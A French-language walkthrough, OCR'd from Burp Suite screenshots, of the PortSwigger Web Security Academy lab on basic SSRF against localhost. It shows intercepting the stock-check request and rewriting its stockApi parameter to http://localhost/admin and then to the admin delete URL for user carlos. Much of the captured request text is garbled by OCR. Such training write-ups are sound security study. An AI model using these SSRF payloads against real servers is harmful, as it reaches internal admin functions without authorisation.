Dossier documentaire

Défi n°1 : Exploitation basique d'une vulnérabilité SSRF

Ouvrir le lien suivant :

https://portswigger.net/web-security/ssrf/lab-basic-ssrf-against-localhost

APPRENTICE

This lab has a stock check feature which fetches data from an internal system.

To solve the lab, change the stock check URL to access the admin interface at

http://localhost/admin and delete the user carlos .

A ACCESS THE LAB

Cliquer sur le bouton ACCESS THE LAB

Travaux préparatoires :

Affichage de la quantité en stock d’'un produit.

London il Check stock

133 units

Capture de la requéte et envoi vers le répéteur.

Burp Project Intruder Repeater View Help

Dashboard Target Proxy Intruder Repeater Collaborator Sequencer
Intercept HTTP history WebSockets history oxy settings
rd Drop Intercept is off Actio Open browser
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Dashboard Target Proxy Intruder Repeat: Collaborat Sequencer Decoder Comparer
ntercept HTTP history WebSockets history ) Proxy settings

y £} Request to https://0a1f00da0330a0a1987e68c400a200a8. web-security-academy.net:443 [79.125.84.16)

Forward Drop Intercept is on Action Open browser
Pretty Raw Hex
1 POST /product/stock HTTP/2
2 Host: 0alf00da0330a0al987e68c400a200a8. web-security-academy. net
3 Cookie: session=07vMcIn0gS62jLH3kzGp7dbHymK09Vdb
4 User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
5 Accept: */*
6 Accept-Language: en-US en; 0.5
7  Accept-Encoding: gzip, deflate, br
g Referer: https: //0alf00da0330a0al987e68c400a200a8. web-security-academy. net/product?productId=1

9 Content-Type: application/x-www-form-urlencoded

10 Content-Length: 107

11 Origin: https: //0alf00da0330a0al987e68c400a200a8. web-security-academy. net
12 Sec-Fetch-Dest: empty

13 Sec-Fetch-Mode: cors

14 Sec-Fetch-Site: same-origin

15 Te: trailers

17 ckApi=ht t p%3A%2F%2Fstock. wel iketoshop. net%3A8080%2Fproduct%2Fst ock%2Fcheck%3Fproduct Id%301%26storeIds301

Avec le menu contextuel, on peut envoyer cette page vers le répéteur.

Dashboard Target Proxy Intruder eater Collaborator Sequencer Decoder Comparer Logger Organizer Extensions Learn
1 x +

[ sod ][] Target: hitp

a- -
Request Response
Pretty  Raw  Hex ® wo= Prett Raw B v =
1 POST /product/stock HTTP/2
2 Host: Oalf b ity demy. net
3 Cookie: i 7vMc In0gS62) LH3k:
4 User-Agent: Mozilla/S.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0
5 Accept: */*
6 Accept-Language: en-US, en;q=0.5
7 Accept-Encoding: gzip, deflate, br
& Referer:
https: //0alf b ity-academy. net/product?productId
=1
9 Content-Type: application/x-www-form-urlencoded
10 Content-Length: 107
11 Origin: https: //0alf b. ity demy. net
12 Sec-Fetch-Dest: empty
13 Sec-Fetch-Mode: cors
14 Sec-Fetch-Site: same-origin
15 Te: trailers
16
17 stockapis
http%3A%2F2Fstock. weli h 2Fproduct: k k&3FproductIdy3D
1%26storeldv3Dl
@& €2 [search o] ohighlights | D B[ €][D] | search £ | ohighlights
La sélection de 'URL avec la souris affiche 'outil d’inspection.
Inspector = = - & X
Selection 98 (0x62) ~
Selected text
http%s3A%2F%2Fstock. weliketoshop. n
et%3A8080%2Fproduct%s2Fstock%s2Fche
ck%3FproductIds3D1%26storeIds3D1
Decoded from: URL encoding Vv @
http: //stock. weliketoshop. net: 808
o/product/stock/check?productId=1
&storeld=1
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L'affichage de la quantité en stock fait appel, via une URL, a une ressource située sur un serveur local
qui écoute sur le port 8080.

Le contenu associé a I'URL décodé n’est pas accessible directement de I'extérieur ce qui est normal
car on peut supposer que la politique de filtrage l'interdise. Cette ressource interne ne devrait étre
accessible que depuis le serveur web qui I'appelle.

C @ O & weliketoshop.net

KaliLinux # KaliTools <« KaliDocs X KaliForums e\ Kali NetHunter Exploit-DB Google Hacking DB

Burp Suite Community Edition

Error

Failed to connect to stock.weliketoshop.net:8080

Découverte de la vulnérabilité SSRF :

L'acces donne la réponse de code 200 du serveur ce qui correspond a un succes. Le serveur autorise
la manipulation de cet URL. L'URL n’étant pas vérifié il peut donc étre modifié ce qui constitue un
vulnérabilité SSRF. Il faut utiliser I'outil d’'inspection pour modifier 'URL.

Avec localhost/admin, cela donne :

a

Request Response
Pretty Raw Hex I w = rete) Raw Hex Render
1 POST /product/stock HTTP/2 P/2 200 0K
5 Host: Oalf 1987 b ity-academy. net ol ent -Type: text/html; charset=utf-8
3 Cookie: session=07vMcIn0gS62;LH3kzGp7dbHynK0SVdb 2 Cache-Control: no-cache
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 4 Set-Cookie: RHUTK1SC p4tCPErIX7n; Secure; HEtpOnly;
5 Accept: */% SameSite=None
& Accept-Language: en-US,en;c=0.5 5 X-Frame-Options: SAMEORIGIN
7 Accept-Encoding: gzip, deflate, br 5 Content-Length: 3070
g Referer: 7

https: //0alf 198 b ity-acadeny. net/product?productId | & <!DOCTYPE htl>

=1 5  <htnl>
5 Content-Type: application/x-www-form-urlencoded 10 <head>
10 Content-Length: 31 n <link href=/resources/labheader/css/academyLabHeader. css rel=styleshest>
11 Origin: https: //0alf b ity-acadeny. net 12 <link href=/resources/css/labs. css rel=stylesheet>
12 Sec-Fetch-Dest: empty 1 <title>

13 Sec-Fetch-Mode: cors Basic SSRF against the local server

14 Sec-Fetch-Site: same-origin </title>
15 trailers 14 </head>

16 15 <body>

17 Api=http: //localhost /admin 16 <script src="/resources/labheader/js/labHeader. js">

Réalisation du défi :

L'URL complet est visible en fouillant dans le code obtenu:

http://localhost/admin/delete?username=carlos

carlos -
</span>
<afhref="/admin/delete?username=carlos">
Pelete

Envoi de I'ordre de suppression de I'utilisateur Carlos :
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[ send J ne <Iv ] llow redirection Target: https://0a1f00d203302021987e68c400:

-

Request Response
Pretty Raw Hex wo= Prett Raw Hex =
1 POST /product/stock HTTP/2 1 HTTP/2 302 Found
2 Host: Oalf b ity-academy. net 2 Location: /admin
3 Cookie: ion07vM H3kzGp7db db 3 Set-Cookie: sessior=SELON2ihtgtRouV6Un32CCzsQulXPeBz; Secure; HttpOnly;
4 User-Agent: Mozilla/s.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 SameSite=None
5 Accept: */* 4 X-Frame-Options: SAMEORIGIN
& Accept-Language: en-US,en;q=0.5 5 Content-Length: 0
7 Accept-Encoding: gzip, deflate, br 6
& Referer: 7 I

https: //0alf b ity-academy. net/product?productId

=1

9 Content-Type: application/x-www-form-urlencoded

10 Content-Length: 54

11 Origin: https: //0alf b ity-academy. net
12 Sec-Fetch-Dest: empty

13  Sec-Fetch-Mode: cors

14 Sec-Fetch-Site: same-origin

15 Te: trailers

17 Api=http: //local host /admin/del ete?username=carlos|

Suivre la redirection en cliquant Follow redirection. Une erreur 401 s’affiche mais l'utilisateur a bien été
supprime.

ERe o < rusecher

-
Request Response
Pretty Raw Hex n o = Pretty Raw Hex Render =
1 [PET /admin HTTP/2 1 HTTP/2 401 Unauthorized
2 Host: Oalf b i demy. net 2 Content-Type: text/html; charset=utf-8
3 Cookie: i Vi H3kzG 3 X-Frame-Options: SAMEORIGIN
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 4 Content-Length: 5666
5 Accept: */* s
& Accept-Language: en-US,en; 0.5 6 <!DOCTYPE html>
7 Accept-Encoding: gzip, deflate, br 7 <html>
2 Referer: 8 <head>
https: //0alf . web ity-academy. net/product/stock 9 <link href=/ 7t /css, abHeader. css rel=stylesheet>
5 Origin: https: //0alf b ity-academy. net 10 <link href=/resources/css/labs.css rel=stylesheet>
Lo Sec-Fetch-Dest: empty 1 <title>
|1 Sec-Fetch-Mode: cors Basic SSRF against the local server
> Sec-Fetch-Site: same-origin </title>
Lz Te: trailers 12 </head>

ER© o (<G reps

Request Response
Pretty Raw Hex w = Pretty Raw Hex m er = W =
1 POST /product/stock HTTP/2
2 Host: Oalf b ity-acadeny. net
3 Cooki 7vMe I j
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0 Home | Admin panel | My account
5 Accept: */*
6 Accept-Language: en-US, en; ¢=0.5 User deleted successfully!
7 Accept-Encoding: gzip, deflate, br
o Referer:
https: //0alf b ity-academy. net /product?productId
I ' Users x
5 Content-Type: application/x-www-form-urlencoded
10 Content-Length: 32 wiener - Delete
11 Origin: https: //0alf b ity-acadeny. net

12 Sec-Fetch-Dest: empty
13 Sec-Fetch-Mode: cors

14 Sec-Fetch-Site: same-origin
15 Te: trailers

17 stockApi=http: //1ocalhost /admin/

Web Security Basic SSRF against the local server @8] sonvea &
Academy <] -

k to lab de ti
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